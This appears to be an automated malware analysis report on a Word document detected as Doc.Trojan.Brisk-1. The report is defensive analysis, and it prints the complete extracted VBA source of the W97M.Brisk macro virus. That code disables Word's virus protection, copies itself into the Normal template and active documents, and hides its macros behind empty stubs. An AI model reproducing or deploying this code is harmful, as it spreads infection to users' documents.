Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2b274a14d904bf33…

MALICIOUS

Office (OLE)

44.0 KB Created: 1998-09-21 12:14:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 080b083f9c41b506b40f8a7cc290e3c1 SHA-1: d673b3b0eaad56f09f07d38b35b50de02c932b39 SHA-256: 2b274a14d904bf33da813c77dc0af36a022aecb08a1fe6d2b27eb5232da898ba
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic macro markers and a critical ClamAV detection for 'Doc.Trojan.Brisk-1'. The AutoClose macro attempts to export itself as 'c:\Brisk.dll', import it back, and then delete the exported file, a common technique for macro-based malware to establish persistence or execute further stages. The macro also attempts to modify various application command bar captions, which is likely a distraction or part of its obfuscation.

Heuristics 5

  • ClamAV: Doc.Trojan.Brisk-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Brisk-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 45,056 bytes but its declared streams total only 22,454 bytes — 22,602 bytes (50%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2777 bytes
SHA-256: cdee7fe66c115fde3e6cba58b802d9735643b9fcba27f28d2a879d0cbf523681
Detection
ClamAV: Doc.Trojan.Brisk-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Brisk"
Sub AutoClose()
'W97M.Brisk
'Psyclone X [DVC]
On Error Resume Next
With Options
        .VirusProtection = False
        .SaveNormalPrompt = False
        .ConfirmConversions = False
End With
With Application
       .ScreenUpdating = False
       .DisplayStatusBar = False
       .DisplayAlerts = False
End With
Set Norm = NormalTemplate.VBProject.VBComponents
Set Doc = ActiveDocument.VBProject.VBComponents
If Norm.Item("Brisk").Name <> "Brisk" Then
    Doc("Brisk").Export "c:\Brisk.dll"
    Set infect = NormalTemplate.VBProject
 ElseIf Doc.Item("Brisk").Name <> "Brisk" Then
    Norm("Brisk").Export "c:\Brisk.dll"
    Set infect = ActiveDocument.VBProject
End If
infect.VBComponents.Import ("c:\Brisk.dll")
Kill ("c:\Brisk.dll")
If Day(Now) = 20 Then
    MsgBox "Thats Brisk Baby", 0, "Brisk"
    CommandBars("Tools").Controls("Macro").Caption = "Thats Brisk Baby"
    CommandBars("File").Controls("Versions...").Caption = "Thats Brisk Baby"
    CommandBars("Edit").Controls("Paste Special...").Caption = "Thats Brisk Baby"
    CommandBars("File").Controls("Save").Caption = "Thats Brisk Baby"
    CommandBars("File").Controls("Save AS...").Caption = "Thats Brisk Baby"
    CommandBars("Insert").Controls("Break...").Caption = "Thats Brisk Baby"
    CommandBars("Help").Controls("About Microsoft Word").Caption = "Thats Brisk Baby"
    CommandBars("File").Controls("Properties").Caption = "Thats Brisk Baby"
    CommandBars("Edit").Controls("Go To...").Caption = "Thats Brisk Baby"
    CommandBars("Tools").Controls("Word Count...").Caption = "Thats Brisk Baby"
    CommandBars("Format").Controls("Font...").Caption = "Thats Brisk Baby"
    CommandBars("File").Controls("Close").Caption = "Thats Brisk Baby"
    CommandBars("Insert").Controls("Picture").Caption = "Thats Brisk Baby"
    CommandBars("File").Controls("Print...").Caption = "Thats Brisk Baby"
    CommandBars("Format").Controls("Bullets and Numbering...").Caption = "Thats Brisk Baby"
    CommandBars("Tools").Controls("Customize...").Caption = "Thats Brisk Baby"
    CommandBars("Tools").Controls("Spelling and Grammar...").Caption = "Thats Brisk Baby"
    CommandBars("View").Controls("Toolbars").Caption = "Thats Brisk Baby"
    CommandBars("View").Controls("Master Document").Caption = "Thats Brisk Baby"
    CommandBars("View").Controls("Normal").Caption = "Thats Brisk Baby"
End If
End Sub
Sub ToolsMacro()
End Sub
Sub FileTemplates()
End Sub
Sub ViewVBCode()
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.